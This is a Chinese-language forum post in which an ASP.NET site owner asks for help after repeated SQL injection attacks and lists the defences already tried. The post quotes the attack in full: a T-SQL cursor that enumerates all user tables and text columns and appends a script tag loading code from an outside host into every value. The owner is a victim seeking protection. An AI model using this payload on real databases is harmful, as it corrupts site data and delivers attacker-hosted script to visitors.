请各位帮忙解决个问题! 急啊!
我的网站数据库经常被SQL注入,
我看了一下貌似是通过系统表注入的,下面是注入语句!
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''"><script src=http://8889.ss.la></script>''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
我想请问下!怎么可以让数据库登陆用户不能对系统表进行操作! 或者有没有朋友知道怎么避免被SQL注入,程序用的是asp.net的,操作数据库时用的参数形式,通过url传值时,整形变量我判断它的类型后再错做,字符串类型的,我过滤单引号了,然后在每个被注入的表里面加了一个触发器,当有</script>时,不操作! 但是还是被上面那种方式注入,到底怎么办才好呢! 我也不知道,不让操作系统表到底有没有用的!